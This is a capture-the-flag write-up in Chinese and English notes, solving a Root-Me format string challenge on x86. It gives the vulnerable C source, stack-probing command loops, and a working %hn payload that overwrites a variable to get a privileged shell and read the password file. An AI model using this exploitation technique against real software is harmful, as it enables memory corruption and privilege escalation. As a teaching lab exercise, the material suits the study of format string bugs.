Format string bug basic 2

ELF x86 - Format string bug basic 2


snprintf

snprintf— prints into a string with length checking
(https://pubs.opengroup.org/onlinepubs/009695399/functions/snprintf.html)
snprintf()函数应与sprintf()等效,并增加了n参数,该参数指出s所指缓冲区的大小。
·如果n为零,则不写任何内容,而s可以为空指针。
·否则,将丢弃第n-1st之后的输出字节,而不是将其写入数组,并且在实际写入数组的字节的末尾写入一个空字节。
也就是增加了限制


format

format是一个字符串,以其初始移位状态(如果有)开始和结束。
format由零个或多个指令组成:普通字符(简单地复制到输出流中)和转换规范,每个转换规范都将导致获取零个或多个参数
·如果format的参数不足,则结果不确定


%n $

·可以将转换应用于参数列表中格式之后的第n个参数,而不是下一个未使用的参数。
·在这种情况下,转换说明符字符%(请参见下文)由序列“%n $”代替,其中n是[1,{NL_ARGMAX}]范围内的十进制整数,给出了参数在参数中的位置。


For example, printf("%2$x", 1, 2, 3) will print 2. In general, we can do printf("%<some number>$x") to select an arbitrary argument to printf.


%n

n 参数应该是一个指向整数的指针,到目前为止,通过对fprintf()函数之一的调用,将写入输出的字节数


The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.


源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main( int argc, char ** argv )

{

int var;
int check = 0x04030201;

char fmt[128];

if (argc <2)
exit(0);

memset( fmt, 0, sizeof(fmt) );

printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );

snprintf( fmt, sizeof(fmt), argv[1] );

if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");

printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );

if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
}
Download

try

app-systeme-ch14@challenge02:~$ (for i in `seq 1 10`; do ./ch14 "%$i"'$08x'; ech
o;done)
check at 0xbffffae8
argv[1] = [%1$08x]
fmt=[080485f1]
check=0x4030201

check at 0xbffffae8
argv[1] = [%2$08x]
fmt=[00000000]
check=0x4030201

check at 0xbffffae8
argv[1] = [%3$08x]
fmt=[00000000]
check=0x4030201

check at 0xbffffae8
argv[1] = [%4$08x]
fmt=[000000c2]
check=0x4030201

check at 0xbffffae8
argv[1] = [%5$08x]
fmt=[bffffc34]
check=0x4030201

check at 0xbffffae8
argv[1] = [%6$08x]
fmt=[b7fe1439]
check=0x4030201

check at 0xbffffae8
argv[1] = [%7$08x]
fmt=[f63d4e2e]
check=0x4030201

check at 0xbffffae8
argv[1] = [%8$08x]
fmt=[04030201]
check=0x4030201

check at 0xbffffae8
argv[1] = [%9$08x]
fmt=[00000000]
check=0x4030201

check at 0xbffffae8
argv[1] = [%10$08x]
fmt=[00000000]
check=0x4030201

8处存着check


(for i in `seq 1 12`; do ./format_2 "AAAA%$i"'$08x';echo;done)


check at 0xbffffae8
argv[1] = [AAAA%8$08x]
fmt=[AAAA04030201]
check=0x4030201

check at 0xbffffae8
argv[1] = [AAAA%9$08x]
fmt=[AAAA41414141]
check=0x4030201

check at 0xbffffae8
argv[1] = [ABCD%8$08x]
fmt=[ABCD04030201]
check=0x4030201

check at 0xbffffae8
argv[1] = [ABCD%9$08x]
fmt=[ABCD44434241]
check=0x4030201

输入值在第九处(小端序)
check 在第八处


%hn

use %hn to write only 2 bytes at a time.

%n          一次性写入 4 个字节

%hn         一次性写入 2 个字节

%hhn        一次性写入 1 个字节

./a.out “$(python -c ‘import sys; sys.stdout.write(“CAAAAAAA%2044x%10$hn%38912x%11$hn”)’)”
https://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html

printf (“\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|”);

./format_2 $(python2 -c ‘print “\xd8\xfa\xff\xbf%9$08s”‘)


final

app-systeme-ch14@challenge02:~$ ./ch14 "$(python -c 'print "\xd8\xfa\xff\xbf%9$x
"')"
check at 0xbffffae8
argv[1] = [Øúÿ¿%9$x]
fmt=[Øúÿ¿bffffad8]
check=0x4030201

app-systeme-ch14@challenge02:~$ ./ch14 "$(python -c 'print "\xd8\xfa\xff\xbf%9$s
"')"
check at 0xbffffae8
argv[1] = [Øúÿ¿%9$s]
fmt=[Øúÿ¿Â]
check=0x4030201

\xdead=57005
\xbeef=48879
\xdead-\xbeef=8126
第九处写\xbeef 48879-8
第十处写\xdead 8126(已经输出了48879)

app-systeme-ch14@challenge02:~$ ./ch14 $(python -c 'print "\xc8\xfa\xff\xbf\xca\
xfa\xff\xbf%48871x%9$hn"+"%8126x%10$hn"')
check at 0xbffffac8
argv[1] = [Èúÿ¿Êúÿ¿%48871x%9$hn%8126x%10$hn]
fmt=[Èúÿ¿Êúÿ¿
                                                    ]
check=0xdeadbeef
Yeah dude ! You win !
app-systeme-ch14-cracked@challenge02:~$ cat .passwd